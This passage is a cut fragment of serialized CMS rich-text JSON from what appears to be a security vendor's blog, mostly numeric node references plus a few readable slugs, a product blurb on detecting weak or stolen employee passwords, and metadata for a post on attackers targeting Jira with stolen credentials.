6},{},[137998],{"data":137999,"marks":138000,"value":62272,"nodeType":865},{},[],{"data":138002,"content":138003,"nodeType":866},{},[138004],{"data":138005,"marks":138006,"value":62279,"nodeType":865},{},[],{"data":138008,"content":138009,"nodeType":866},{},[138010],{"data":138011,"marks":138012,"value":62286,"nodeType":865},{},[],{"data":138014,"content":138015,"nodeType":866},{},[138016],{"data":138017,"marks":138018,"value":62293,"nodeType":865},{},[],{"data":138020,"content":138023,"nodeType":912},{"target":138021},{"sys":138022},{"id":62298,"type":909,"linkType":910},[],{"data":138025,"content":138026,"nodeType":972},{},[],{"data":138028,"content":138029,"nodeType":981},{},[138030],{"data":138031,"marks":138032,"value":62310,"nodeType":865},{},[138033],{"type":926},{"data":138035,"content":138036,"nodeType":866},{},[138037],{"data":138038,"marks":138039,"value":62317,"nodeType":865},{},[],{"data":138041,"content":138042,"nodeType":1616},{},[138043,138052,138061],{"data":138044,"content":138045,"nodeType":1570},{},[138046],{"data":138047,"content":138048,"nodeType":866},{},[138049],{"data":138050,"marks":138051,"value":62330,"nodeType":865},{},[],{"data":138053,"content":138054,"nodeType":1570},{},[138055],{"data":138056,"content":138057,"nodeType":866},{},[138058],{"data":138059,"marks":138060,"value":62340,"nodeType":865},{},[],{"data":138062,"content":138063,"nodeType":1570},{},[138064],{"data":138065,"content":138066,"nodeType":866},{},[138067],{"data":138068,"marks":138069,"value":62350,"nodeType":865},{},[],{"data":138071,"content":138072,"nodeType":866},{},[138073],{"data":138074,"marks":138075,"value":62357,"nodeType":865},{},[],{"data":138077,"content":138078,"nodeType":866},{},[138079,138082,138088],{"data":138080,"marks":138081,"value":62364,"nodeType":865},{},[],{"data":138083,"content":138084,"nodeType":889},{"uri":62367},[138085],{"data":138086,"marks":138087,"value":62372,"nodeType":865},{},[],{"data":138089,"marks":138090,"value":62376,"nodeType":865},{},[],{"data":138092,"content":138093,"nodeType":866},{},[138094,138097,138104],{"data":138095,"marks":138096,"value":62383,"nodeType":865},{},[],{"data":138098,"content":138099,"nodeType":889},{"uri":62386},[138100],{"data":138101,"marks":138102,"value":62392,"nodeType":865},{},[138103],{"type":943},{"data":138105,"marks":138106,"value":62396,"nodeType":865},{},[],{"data":138108,"content":138111,"nodeType":912},{"target":138109},{"sys":138110},{"id":62401,"type":909,"linkType":910},[],{"data":138113,"content":138114,"nodeType":866},{},[138115],{"data":138116,"marks":138117,"value":21,"nodeType":865},{},[],{"items":138119},[138120],{"sys":138121,"name":7796},{"id":7795},{"items":138123},[138124],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":138125},{"url":7804},{"__typename":1429,"sys":138127,"content":138128,"title":135317,"synopsis":135318,"hashTags":59,"publishedDate":135319,"slug":135320,"tagsCollection":138664,"authorsCollection":138670},{"id":134702},{"json":138129},{"data":138130,"content":138131,"nodeType":1382},{},[138132,138138,138164,138169,138175,138178,138185,138191,138197,138226,138232,138238,138244,138247,138254,138270,138276,138282,138287,138293,138299,138302,138309,138315,138321,138326,138332,138348,138374,138380,138383,138390,138396,138402,138407,138413,138419,138425,138430,138436,138441,138447,138450,138457,138463,138469,138472,138479,138485,138491,138497,138500,138507,138513,138519,138525,138531,138537,138542,138548,138554,138559,138565,138595,138601,138611,138627,138632,138635,138642,138648],{"data":138133,"content":138134,"nodeType":866},{},[138135],{"data":138136,"marks":138137,"value":134713,"nodeType":865},{},[],{"data":138139,"content":138140,"nodeType":866},{},[138141,138144,138151,138154,138161],{"data":138142,"marks":138143,"value":134720,"nodeType":865},{},[],{"data":138145,"content":138146,"nodeType":889},{"uri":4147},[138147],{"data":138148,"marks":138149,"value":53721,"nodeType":865},{},[138150],{"type":943},{"data":138152,"marks":138153,"value":134731,"nodeType":865},{},[],{"data":138155,"content":138156,"nodeType":889},{"uri":134734},[138157],{"data":138158,"marks":138159,"value":134740,"nodeType":865},{},[138160],{"type":943},{"data":138162,"marks":138163,"value":14251,"nodeType":865},{},[],{"data":138165,"content":138168,"nodeType":912},{"target":138166},{"sys":138167},{"id":134748,"type":909,"linkType":910},[],{"data":138170,"content":138171,"nodeType":866},{},[138172],{"data":138173,"marks":138174,"value":134756,"nodeType":865},{},[],{"data":138176,"content":138177,"nodeType":972},{},[],{"data":138179,"content":138180,"nodeType":981},{},[138181],{"data":138182,"marks":138183,"value":134767,"nodeType":865},{},[138184],{"type":926},{"data":138186,"content":138187,"nodeType":866},{},[138188],{"data":138189,"marks":138190,"value":134774,"nodeType":865},{},[],{"data":138192,"content":138193,"nodeType":866},{},[138194],{"data":138195,"marks":138196,"value":134781,"nodeType":865},{},[],{"data":138198,"content":138199,"nodeType":1616},{},[138200,138213],{"data":138201,"content":138202,"nodeType":1570},{},[138203],{"data":138204,"content":138205,"nodeType":866},{},[138206,138210],{"data":138207,"marks":138208,"value":134795,"nodeType":865},{},[138209],{"type":926},{"data":138211,"marks":138212,"value":134799,"nodeType":865},{},[],{"data":138214,"content":138215,"nodeType":1570},{},[138216],{"data":138217,"content":138218,"nodeType":866},{},[138219,138223],{"data":138220,"marks":138221,"value":134810,"nodeType":865},{},[138222],{"type":926},{"data":138224,"marks":138225,"value":134814,"nodeType":865},{},[],{"data":138227,"content":138228,"nodeType":866},{},[138229],{"data":138230,"marks":138231,"value":134821,"nodeType":865},{},[],{"data":138233,"content":138234,"nodeType":866},{},[138235],{"data":138236,"marks":138237,"value":134828,"nodeType":865},{},[],{"data":138239,"content":138240,"nodeType":866},{},[138241],{"data":138242,"marks":138243,"value":134835,"nodeType":865},{},[],{"data":138245,"content":138246,"nodeType":972},{},[],{"data":138248,"content":138249,"nodeType":981},{},[138250],{"data":138251,"marks":138252,"value":134846,"nodeType":865},{},[138253],{"type":926},{"data":138255,"content":138256,"nodeType":866},{},[138257,138260,138267],{"data":138258,"marks":138259,"value":134853,"nodeType":865},{},[],{"data":138261,"content":138262,"nodeType":889},{"uri":134856},[138263],{"data":138264,"marks":138265,"value":134862,"nodeType":865},{},[138266],{"type":943},{"data":138268,"marks":138269,"value":1615,"nodeType":865},{},[],{"data":138271,"content":138272,"nodeType":866},{},[138273],{"data":138274,"marks":138275,"value":134872,"nodeType":865},{},[],{"data":138277,"content":138278,"nodeType":866},{},[138279],{"data":138280,"marks":138281,"value":134879,"nodeType":865},{},[],{"data":138283,"content":138286,"nodeType":912},{"target":138284},{"sys":138285},{"id":134884,"type":909,"linkType":910},[],{"data":138288,"content":138289,"nodeType":866},{},[138290],{"data":138291,"marks":138292,"value":134892,"nodeType":865},{},[],{"data":138294,"content":138295,"nodeType":866},{},[138296],{"data":138297,"marks":138298,"value":134899,"nodeType":865},{},[],{"data":138300,"content":138301,"nodeType":972},{},[],{"data":138303,"content":138304,"nodeType":1317},{},[138305],{"data":138306,"marks":138307,"value":134910,"nodeType":865},{},[138308],{"type":926},{"data":138310,"content":138311,"nodeType":866},{},[138312],{"data":138313,"marks":138314,"value":134917,"nodeType":865},{},[],{"data":138316,"content":138317,"nodeType":866},{},[138318],{"data":138319,"marks":138320,"value":134924,"nodeType":865},{},[],{"data":138322,"content":138325,"nodeType":912},{"target":138323},{"sys":138324},{"id":134929,"type":909,"linkType":910},[],{"data":138327,"content":138328,"nodeType":866},{},[138329],{"data":138330,"marks":138331,"value":134937,"nodeType":865},{},[],{"data":138333,"content":138334,"nodeType":866},{},[138335,138338,138345],{"data":138336,"marks":138337,"value":134944,"nodeType":865},{},[],{"data":138339,"content":138340,"nodeType":889},{"uri":134947},[138341],{"data":138342,"marks":138343,"value":134953,"nodeType":865},{},[138344],{"type":943},{"data":138346,"marks":138347,"value":134957,"nodeType":865},{},[],{"data":138349,"content":138350,"nodeType":866},{},[138351,138354,138361,138364,138371],{"data":138352,"marks":138353,"value":134964,"nodeType":865},{},[],{"data":138355,"content":138356,"nodeType":889},{"uri":134967},[138357],{"data":138358,"marks":138359,"value":134973,"nodeType":865},{},[138360],{"type":943},{"data":138362,"marks":138363,"value":134977,"nodeType":865},{},[],{"data":138365,"content":138366,"nodeType":889},{"uri":134980},[138367],{"data":138368,"marks":138369,"value":134986,"nodeType":865},{},[138370],{"type":943},{"data":138372,"marks":138373,"value":134990,"nodeType":865},{},[],{"data":138375,"content":138376,"nodeType":866},{},[138377],{"data":138378,"marks":138379,"value":134997,"nodeType":865},{},[],{"data":138381,"content":138382,"nodeType":972},{},[],{"data":138384,"content":138385,"nodeType":1317},{},[138386],{"data":138387,"marks":138388,"value":135008,"nodeType":865},{},[138389],{"type":926},{"data":138391,"content":138392,"nodeType":866},{},[138393],{"data":138394,"marks":138395,"value":135015,"nodeType":865},{},[],{"data":138397,"content":138398,"nodeType":866},{},[138399],{"data":138400,"marks":138401,"value":135022,"nodeType":865},{},[],{"data":138403,"content":138406,"nodeType":912},{"target":138404},{"sys":138405},{"id":135027,"type":909,"linkType":910},[],{"data":138408,"content":138409,"nodeType":866},{},[138410],{"data":138411,"marks":138412,"value":135035,"nodeType":865},{},[],{"data":138414,"content":138415,"nodeType":866},{},[138416],{"data":138417,"marks":138418,"value":135042,"nodeType":865},{},[],{"data":138420,"content":138421,"nodeType":866},{},[138422],{"data":138423,"marks":138424,"value":135049,"nodeType":865},{},[],{"data":138426,"content":138429,"nodeType":912},{"target":138427},{"sys":138428},{"id":134564,"type":909,"linkType":910},[],{"data":138431,"content":138432,"nodeType":866},{},[138433],{"data":138434,"marks":138435,"value":135061,"nodeType":865},{},[],{"data":138437,"content":138440,"nodeType":912},{"target":138438},{"sys":138439},{"id":135066,"type":909,"linkType":910},[],{"data":138442,"content":138443,"nodeType":866},{},[138444],{"data":138445,"marks":138446,"value":135074,"nodeType":865},{},[],{"data":138448,"content":138449,"nodeType":972},{},[],{"data":138451,"content":138452,"nodeType":981},{},[138453],{"data":138454,"marks":138455,"value":25229,"nodeType":865},{},[138456],{"type":926},{"data":138458,"content":138459,"nodeType":866},{},[138460],{"data":138461,"marks":138462,"value":135091,"nodeType":865},{},[],{"data":138464,"content":138465,"nodeType":866},{},[138466],{"data":138467,"marks":138468,"value":135098,"nodeType":865},{},[],{"data":138470,"content":138471,"nodeType":972},{},[],{"data":138473,"content":138474,"nodeType":981},{},[138475],{"data":138476,"marks":138477,"value":135109,"nodeType":865},{},[138478],{"type":926},{"data":138480,"content":138481,"nodeType":866},{},[138482],{"data":138483,"marks":138484,"value":135116,"nodeType":865},{},[],{"data":138486,"content":138487,"nodeType":866},{},[138488],{"data":138489,"marks":138490,"value":135123,"nodeType":865},{},[],{"data":138492,"content":138493,"nodeType":866},{},[138494],{"data":138495,"marks":138496,"value":135130,"nodeType":865},{},[],{"data":138498,"content":138499,"nodeType":972},{},[],{"data":138501,"content":138502,"nodeType":1317},{},[138503],{"data":138504,"marks":138505,"value":135141,"nodeType":865},{},[138506],{"type":926},{"data":138508,"content":138509,"nodeType":866},{},[138510],{"data":138511,"marks":138512,"value":135148,"nodeType":865},{},[],{"data":138514,"content":138515,"nodeType":866},{},[138516],{"data":138517,"marks":138518,"value":135155,"nodeType":865},{},[],{"data":138520,"content":138521,"nodeType":866},{},[138522],{"data":138523,"marks":138524,"value":135162,"nodeType":865},{},[],{"data":138526,"content":138527,"nodeType":866},{},[138528],{"data":138529,"marks":138530,"value":135169,"nodeType":865},{},[],{"data":138532,"content":138533,"nodeType":866},{},[138534],{"data":138535,"marks":138536,"value":135176,"nodeType":865},{},[],{"data":138538,"content":138541,"nodeType":912},{"target":138539},{"sys":138540},{"id":125915,"type":909,"linkType":910},[],{"data":138543,"content":138544,"nodeType":866},{},[138545],{"data":138546,"marks":138547,"value":135188,"nodeType":865},{},[],{"data":138549,"content":138550,"nodeType":866},{},[138551],{"data":138552,"marks":138553,"value":135195,"nodeType":865},{},[],{"data":138555,"content":138558,"nodeType":912},{"target":138556},{"sys":138557},{"id":125951,"type":909,"linkType":910},[],{"data":138560,"content":138561,"nodeType":866},{},[138562],{"data":138563,"marks":138564,"value":135207,"nodeType":865},{},[],{"data":138566,"content":138567,"nodeType":1616},{},[138568,138577,138586],{"data":138569,"content":138570,"nodeType":1570},{},[138571],{"data":138572,"content":138573,"nodeType":866},{},[138574],{"data":138575,"marks":138576,"value":135220,"nodeType":865},{},[],{"data":138578,"content":138579,"nodeType":1570},{},[138580],{"data":138581,"content":138582,"nodeType":866},{},[138583],{"data":138584,"marks":138585,"value":135230,"nodeType":865},{},[],{"data":138587,"content":138588,"nodeType":1570},{},[138589],{"data":138590,"content":138591,"nodeType":866},{},[138592],{"data":138593,"marks":138594,"value":125310,"nodeType":865},{},[],{"data":138596,"content":138597,"nodeType":866},{},[138598],{"data":138599,"marks":138600,"value":125317,"nodeType":865},{},[],{"data":138602,"content":138603,"nodeType":866},{},[138604,138607],{"data":138605,"marks":138606,"value":135252,"nodeType":865},{},[],{"data":138608,"marks":138609,"value":135257,"nodeType":865},{},[138610],{"type":926},{"data":138612,"content":138613,"nodeType":866},{},[138614,138617,138624],{"data":138615,"marks":138616,"value":135264,"nodeType":865},{},[],{"data":138618,"content":138619,"nodeType":889},{"uri":135267},[138620],{"data":138621,"marks":138622,"value":135273,"nodeType":865},{},[138623],{"type":943},{"data":138625,"marks":138626,"value":135277,"nodeType":865},{},[],{"data":138628,"content":138631,"nodeType":912},{"target":138629},{"sys":138630},{"id":135282,"type":909,"linkType":910},[],{"data":138633,"content":138634,"nodeType":972},{},[],{"data":138636,"content":138637,"nodeType":981},{},[138638],{"data":138639,"marks":138640,"value":105586,"nodeType":865},{},[138641],{"type":926},{"data":138643,"content":138644,"nodeType":866},{},[138645],{"data":138646,"marks":138647,"value":124090,"nodeType":865},{},[],{"data":138649,"content":138650,"nodeType":866},{},[138651,138654,138661],{"data":138652,"marks":138653,"value":104093,"nodeType":865},{},[],{"data":138655,"content":138656,"nodeType":889},{"uri":134677},[138657],{"data":138658,"marks":138659,"value":105607,"nodeType":865},{},[138660],{"type":943},{"data":138662,"marks":138663,"value":135316,"nodeType":865},{},[],{"items":138665},[138666,138668],{"sys":138667,"name":7796},{"id":7795},{"sys":138669,"name":342},{"id":4642},{"items":138671},[138672],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":138673},{"url":7804},"blog/introducing-strong-password-enforcement",{"json":138676},{"data":138677,"content":138678,"nodeType":1382},{},[138679],{"data":138680,"content":138681,"nodeType":866},{},[138682],{"data":138683,"marks":138684,"value":138685,"nodeType":865},{},[],"Our latest feature release, strong password enforcement, detects when employees have weak, reused, or stolen passwords and then guides them to update their password using in-browser messaging — even on apps that don’t natively support administrative control of password posture.","Detects when employees have weak, reused, or stolen passwords and guide them to update their password using in-browser messaging on any app. ",{"id":80277,"publishedAt":138688},"2026-08-12T11:57:11.530Z",{"items":138690},[138691,138693],{"sys":138692,"name":297},{"id":2310},{"sys":138694,"name":7796},{"id":7795},{"items":138696},[138697,138699,138701,138703,138705,138707,138709,138711,138713,138715,138717,138719,138721,138723],{"sys":138698,"name":413,"slug":414,"tier":31},{"id":410},{"sys":138700,"name":297,"slug":298,"tier":31},{"id":294},{"sys":138702,"name":279,"slug":280,"tier":31},{"id":276},{"sys":138704,"name":545,"slug":546,"tier":31},{"id":542},{"sys":138706,"name":342,"slug":343,"tier":31},{"id":339},{"sys":138708,"name":502,"slug":503,"tier":45},{"id":499},{"sys":138710,"name":333,"slug":334,"tier":45},{"id":330},{"sys":138712,"name":422,"slug":423,"tier":45},{"id":419},{"sys":138714,"name":395,"slug":396,"tier":45},{"id":392},{"sys":138716,"name":457,"slug":458,"tier":45},{"id":454},{"sys":138718,"name":589,"slug":590,"tier":45},{"id":586},{"sys":138720,"name":324,"slug":325,"tier":45},{"id":321},{"sys":138722,"name":571,"slug":572,"tier":45},{"id":568},{"sys":138724,"name":484,"slug":485,"tier":45},{"id":481},"85tYtDmwkHGaqoYy_laJ9nONJ8lxUAU6S5pB9GT1BpE",{"id":138727,"title":87619,"authorsCollection":138728,"content":138733,"extension":228,"faqItemsCollection":139435,"faqTitle":59,"featured":6,"hashTags":59,"meta":139437,"metaTitle":139438,"ogImage":139439,"postType":72060,"publishedDate":136727,"relatedBlogPostsCollection":139441,"slug":87620,"stem":141595,"subtitle":59,"summary":141596,"synopsis":137415,"sys":141606,"tagsCollection":141608,"topicsCollection":141614,"__hash__":141646},"blog/blog/why-attackers-are-targeting-jira-with-stolen-credentials.json",{"items":138729},[138730],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":138731,"profilePicture":138732},[30152],{"url":7804},{"json":138734,"links":139329},{"data":138735,"content":138736,"nodeType":1382},{},[138737,138750,138755,138761,138766,138769,138776,138782,138863,138868,138874,138880,138883,138890,138897,138903,138951,138958,138973,138997,139003,139010,139016,139021,139036,139049,139054,139060,139083,139089,139095,139125,139131,139137,139153,139156,139163,139169,139175,139181,139188,139204,139209,139216,139232,139247,139252,139259,139265,139281,139287,139292,139295,139302,139308,139314],{"data":138738,"content":138739,"nodeType":866},{},[138740,138743,138747],{"data":138741,"marks":138742,"value":136742,"nodeType":865},{},[],{"data":138744,"marks":138745,"value":136747,"nodeType":865},{},[138746],{"type":926},{"data":138748,"marks":138749,"value":136751,"nodeType":865},{},[],{"data":138751,"content":138754,"nodeType":912},{"target":138752},{"sys":138753},{"id":136756,"type":909,"linkType":910},[],{"data":138756,"content":138757,"nodeType":866},{},[138758],{"data":138759,"marks":138760,"value":21,"nodeType":865},{},[],{"data":138762,"content":138765,"nodeType":912},{"target":138763},{"sys":138764},{"id":136768,"type":909,"linkType":910},[],{"data":138767,"content":138768,"nodeType":972},{},[],{"data":138770,"content":138771,"nodeType":981},{},[138772],{"data":138773,"marks":138774,"value":131568,"nodeType":865},{},[138775],{"type":926},{"data":138777,"content":138778,"nodeType":866},{},[138779],{"data":138780,"marks":138781,"value":136786,"nodeType":865},{},[],{"data":138783,"content":138784,"nodeType":1616},{},[138785,138798,138811,138824,138837,138850],{"data":138786,"content":138787,"nodeType":1570},{},[138788],{"data":138789,"content":138790,"nodeType":866},{},[138791,138795],{"data":138792,"marks":138793,"value":136800,"nodeType":865},{},[138794],{"type":926},{"data":138796,"marks":138797,"value":136804,"nodeType":865},{},[],{"data":138799,"content":138800,"nodeType":1570},{},[138801],{"data":138802,"content":138803,"nodeType":866},{},[138804,138808],{"data":138805,"marks":138806,"value":136815,"nodeType":865},{},[138807],{"type":926},{"data":138809,"marks":138810,"value":136819,"nodeType":865},{},[],{"data":138812,"content":138813,"nodeType":1570},{},[138814],{"data":138815,"content":138816,"nodeType":866},{},[138817,138821],{"data":138818,"marks":138819,"value":136830,"nodeType":865},{},[138820],{"type":926},{"data":138822,"marks":138823,"value":136834,"nodeType":865},{},[],{"data":138825,"content":138826,"nodeType":1570},{},[138827],{"data":138828,"content":138829,"nodeType":866},{},[138830,138834],{"data":138831,"marks":138832,"value":136845,"nodeType":865},{},[138833],{"type":926},{"data":138835,"marks":138836,"value":136849,"nodeType":865},{},[],{"data":138838,"content":138839,"nodeType":1570},{},[138840],{"data":138841,"content":138842,"nodeType":866},{},[138843,138847],{"data":138844,"marks":138845,"value":136860,"nodeType":865},{},[138846],{"type":926},{"data":138848,"marks":138849,"value":136864,"nodeType":865},{},[],{"data":138851,"content":138852,"nodeType":1570},{},[138853],{"data":138854,"content":138855,"nodeType":866},{},[138856,138860],{"data":138857,"marks":138858,"value":136875,"nodeType":865},{},[138859],{"type":926},{"data":138861,"marks":138862,"value":136879,"nodeType":865},{},[],{"data":138864,"content":138867,"nodeType":912},{"target":138865},{"sys":138866},{"id":136884,"type":909,"linkType":910},[],{"data":138869,"content":138870,"nodeType":866},{},[138871],{"data":138872,"marks":138873,"value":136892,"nodeType":865},{},[],{"data":138875,"content":138876,"nodeType":866},{},[138877],{"data":138878,"marks":138879,"value":136899,"nodeType":865},{},[],{"data":138881,"content":138882,"nodeType":972},{},[],{"data":138884,"content":138885,"nodeType":981},{},[138886],{"data":138887,"marks":138888,"value":136910,"nodeType":865},{},[138889],{"type":926},{"data":138891,"content":138892,"nodeType":1317},{},[138893],{"data":138894,"marks":138895,"value":136918,"nodeType":865},{},[138896],{"type":926},{"data":138898,"content":138899,"nodeType":866},{},[138900],{"data":138901,"marks":138902,"value":136925,"nodeType":865},{},[],{"data":138904,"content":138905,"nodeType":1616},{},[138906,138915,138924,138933,138942],{"data":138907,"content":138908,"nodeType":1570},{},[138909],{"data":138910,"content":138911,"nodeType":866},{},[138912],{"data":138913,"marks":138914,"value":136938,"nodeType":865},{},[],{"data":138916,"content":138917,"nodeType":1570},{},[138918],{"data":138919,"content":138920,"nodeType":866},{},[138921],{"data":138922,"marks":138923,"value":136948,"nodeType":865},{},[],{"data":138925,"content":138926,"nodeType":1570},{},[138927],{"data":138928,"content":138929,"nodeType":866},{},[138930],{"data":138931,"marks":138932,"value":136958,"nodeType":865},{},[],{"data":138934,"content":138935,"nodeType":1570},{},[138936],{"data":138937,"content":138938,"nodeType":866},{},[138939],{"data":138940,"marks":138941,"value":136968,"nodeType":865},{},[],{"data":138943,"content":138944,"nodeType":1570},{},[138945],{"data":138946,"content":138947,"nodeType":866},{},[138948],{"data":138949,"marks":138950,"value":136978,"nodeType":865},{},[],{"data":138952,"content":138953,"nodeType":1317},{},[138954],{"data":138955,"marks":138956,"value":136986,"nodeType":865},{},[138957],{"type":926},{"data":138959,"content":138960,"nodeType":866},{},[138961,138964,138970],{"data":138962,"marks":138963,"value":21,"nodeType":865},{},[],{"data":138965,"content":138966,"nodeType":889},{"uri":1063},[138967],{"data":138968,"marks":138969,"value":136999,"nodeType":865},{},[],{"data":138971,"marks":138972,"value":137003,"nodeType":865},{},[],{"data":138974,"content":138975,"nodeType":866},{},[138976,138979,138985,138988,138994],{"data":138977,"marks":138978,"value":137010,"nodeType":865},{},[],{"data":138980,"content":138981,"nodeType":889},{"uri":110220},[138982],{"data":138983,"marks":138984,"value":137017,"nodeType":865},{},[],{"data":138986,"marks":138987,"value":137021,"nodeType":865},{},[],{"data":138989,"content":138990,"nodeType":889},{"uri":3488},[138991],{"data":138992,"marks":138993,"value":13698,"nodeType":865},{},[],{"data":138995,"marks":138996,"value":137031,"nodeType":865},{},[],{"data":138998,"content":138999,"nodeType":866},{},[139000],{"data":139001,"marks":139002,"value":137038,"nodeType":865},{},[],{"data":139004,"content":139005,"nodeType":1317},{},[139006],{"data":139007,"marks":139008,"value":137046,"nodeType":865},{},[139009],{"type":926},{"data":139011,"content":139012,"nodeType":866},{},[139013],{"data":139014,"marks":139015,"value":137053,"nodeType":865},{},[],{"data":139017,"content":139020,"nodeType":912},{"target":139018},{"sys":139019},{"id":137058,"type":909,"linkType":910},[],{"data":139022,"content":139023,"nodeType":866},{},[139024,139027,139033],{"data":139025,"marks":139026,"value":137066,"nodeType":865},{},[],{"data":139028,"content":139029,"nodeType":889},{"uri":137069},[139030],{"data":139031,"marks":139032,"value":137074,"nodeType":865},{},[],{"data":139034,"marks":139035,"value":137078,"nodeType":865},{},[],{"data":139037,"content":139038,"nodeType":866},{},[139039,139042,139046],{"data":139040,"marks":139041,"value":137085,"nodeType":865},{},[],{"data":139043,"marks":139044,"value":137090,"nodeType":865},{},[139045],{"type":926},{"data":139047,"marks":139048,"value":137094,"nodeType":865},{},[],{"data":139050,"content":139053,"nodeType":912},{"target":139051},{"sys":139052},{"id":137099,"type":909,"linkType":910},[],{"data":139055,"content":139056,"nodeType":866},{},[139057],{"data":139058,"marks":139059,"value":137107,"nodeType":865},{},[],{"data":139061,"content":139062,"nodeType":866},{},[139063,139066,139073,139076,139080],{"data":139064,"marks":139065,"value":21,"nodeType":865},{},[],{"data":139067,"content":139068,"nodeType":889},{"uri":6698},[139069],{"data":139070,"marks":139071,"value":137121,"nodeType":865},{},[139072],{"type":943},{"data":139074,"marks":139075,"value":137125,"nodeType":865},{},[],{"data":139077,"marks":139078,"value":137130,"nodeType":865},{},[139079],{"type":926},{"data":139081,"marks":139082,"value":14251,"nodeType":865},{},[],{"data":139084,"content":139085,"nodeType":981},{},[139086],{"data":139087,"marks":139088,"value":137140,"nodeType":865},{},[],{"data":139090,"content":139091,"nodeType":866},{},[139092],{"data":139093,"marks":139094,"value":137147,"nodeType":865},{},[],{"data":139096,"content":139097,"nodeType":1616},{},[139098,139107,139116],{"data":139099,"content":139100,"nodeType":1570},{},[139101],{"data":139102,"content":139103,"nodeType":866},{},[139104],{"data":139105,"marks":139106,"value":137160,"nodeType":865},{},[],{"data":139108,"content":139109,"nodeType":1570},{},[139110],{"data":139111,"content":139112,"nodeType":866},{},[139113],{"data":139114,"marks":139115,"value":137170,"nodeType":865},{},[],{"data":139117,"content":139118,"nodeType":1570},{},[139119],{"data":139120,"content":139121,"nodeType":866},{},[139122],{"data":139123,"marks":139124,"value":137180,"nodeType":865},{},[],{"data":139126,"content":139127,"nodeType":866},{},[139128],{"data":139129,"marks":139130,"value":137187,"nodeType":865},{},[],{"data":139132,"content":139133,"nodeType":866},{},[139134],{"data":139135,"marks":139136,"value":137194,"nodeType":865},{},[],{"data":139138,"content":139139,"nodeType":866},{},[139140,139143,139150],{"data":139141,"marks":139142,"value":137201,"nodeType":865},{},[],{"data":139144,"content":139145,"nodeType":889},{"uri":13526},[139146],{"data":139147,"marks":139148,"value":137209,"nodeType":865},{},[139149],{"type":943},{"data":139151,"marks":139152,"value":137213,"nodeType":865},{},[],{"data":139154,"content":139155,"nodeType":972},{},[],{"data":139157,"content":139158,"nodeType":981},{},[139159],{"data":139160,"marks":139161,"value":137224,"nodeType":865},{},[139162],{"type":926},{"data":139164,"content":139165,"nodeType":866},{},[139166],{"data":139167,"marks":139168,"value":137231,"nodeType":865},{},[],{"data":139170,"content":139171,"nodeType":866},{},[139172],{"data":139173,"marks":139174,"value":137238,"nodeType":865},{},[],{"data":139176,"content":139177,"nodeType":866},{},[139178],{"data":139179,"marks":139180,"value":137245,"nodeType":865},{},[],{"data":139182,"content":139183,"nodeType":1317},{},[139184],{"data":139185,"marks":139186,"value":137253,"nodeType":865},{},[139187],{"type":926},{"data":139189,"content":139190,"nodeType":866},{},[139191,139194,139201],{"data":139192,"marks":139193,"value":137260,"nodeType":865},{},[],{"data":139195,"content":139196,"nodeType":889},{"uri":132524},[139197],{"data":139198,"marks":139199,"value":137268,"nodeType":865},{},[139200],{"type":943},{"data":139202,"marks":139203,"value":137272,"nodeType":865},{},[],{"data":139205,"content":139208,"nodeType":912},{"target":139206},{"sys":139207},{"id":137277,"type":909,"linkType":910},[],{"data":139210,"content":139211,"nodeType":1317},{},[139212],{"data":139213,"marks":139214,"value":137286,"nodeType":865},{},[139215],{"type":926},{"data":139217,"content":139218,"nodeType":866},{},[139219,139222,139229],{"data":139220,"marks":139221,"value":137293,"nodeType":865},{},[],{"data":139223,"content":139224,"nodeType":889},{"uri":13526},[139225],{"data":139226,"marks":139227,"value":137301,"nodeType":865},{},[139228],{"type":943},{"data":139230,"marks":139231,"value":137305,"nodeType":865},{},[],{"data":139233,"content":139234,"nodeType":866},{},[139235,139238,139244],{"data":139236,"marks":139237,"value":137312,"nodeType":865},{},[],{"data":139239,"content":139240,"nodeType":889},{"uri":137315},[139241],{"data":139242,"marks":139243,"value":137320,"nodeType":865},{},[],{"data":139245,"marks":139246,"value":14251,"nodeType":865},{},[],{"data":139248,"content":139251,"nodeType":912},{"target":139249},{"sys":139250},{"id":136567,"type":909,"linkType":910},[],{"data":139253,"content":139254,"nodeType":1317},{},[139255],{"data":139256,"marks":139257,"value":137336,"nodeType":865},{},[139258],{"type":926},{"data":139260,"content":139261,"nodeType":866},{},[139262],{"data":139263,"marks":139264,"value":137343,"nodeType":865},{},[],{"data":139266,"content":139267,"nodeType":866},{},[139268,139271,139278],{"data":139269,"marks":139270,"value":137350,"nodeType":865},{},[],{"data":139272,"content":139273,"nodeType":889},{"uri":6710},[139274],{"data":139275,"marks":139276,"value":62154,"nodeType":865},{},[139277],{"type":943},{"data":139279,"marks":139280,"value":137361,"nodeType":865},{},[],{"data":139282,"content":139283,"nodeType":866},{},[139284],{"data":139285,"marks":139286,"value":137368,"nodeType":865},{},[],{"data":139288,"content":139291,"nodeType":912},{"target":139289},{"sys":139290},{"id":137373,"type":909,"linkType":910},[],{"data":139293,"content":139294,"nodeType":972},{},[],{"data":139296,"content":139297,"nodeType":981},{},[139298],{"data":139299,"marks":139300,"value":137385,"nodeType":865},{},[139301],{"type":926},{"data":139303,"content":139304,"nodeType":866},{},[139305],{"data":139306,"marks":139307,"value":137392,"nodeType":865},{},[],{"data":139309,"content":139310,"nodeType":866},{},[139311],{"data":139312,"marks":139313,"value":137399,"nodeType":865},{},[],{"data":139315,"content":139316,"nodeType":866},{},[139317,139320,139326],{"data":139318,"marks":139319,"value":104093,"nodeType":865},{},[],{"data":139321,"content":139322,"nodeType":889},{"uri":134677},[139323],{"data":139324,"marks":139325,"value":105607,"nodeType":865},{},[],{"data":139327,"marks":139328,"value":135316,"nodeType":865},{},[],{"entries":139330},{"hyperlink":139331,"inline":139332,"block":139333},[],[],[139334,139341,139385,139391,139418,139425,139429,139431],{"sys":139335,"__typename":131392,"title":139336,"youTubeUrl":139337,"imagePlaceholder":139338},{"id":136756},"Hellcat video","https://www.youtube.com/watch?v=jHm6wpT6mYg",{"url":139339,"width":139340,"height":1411},"https://images.ctfassets.net/y1cdw1ablpvd/5cdcvDUhgAmEpo6kMOdu9I/8abb264bf8ce77b3d7453bcbc8c09783/Slide_Front_Cover__50_.png",3840,{"sys":139342,"__typename":5503,"content":139343,"name":139384,"title":59},{"id":136768},{"json":139344},{"nodeType":1382,"data":139345,"content":139346},{},[139347,139366],{"nodeType":866,"data":139348,"content":139349},{},[139350,139354,139362],{"nodeType":865,"value":139351,"marks":139352,"data":139353},"Update 1: Since first writing this article, 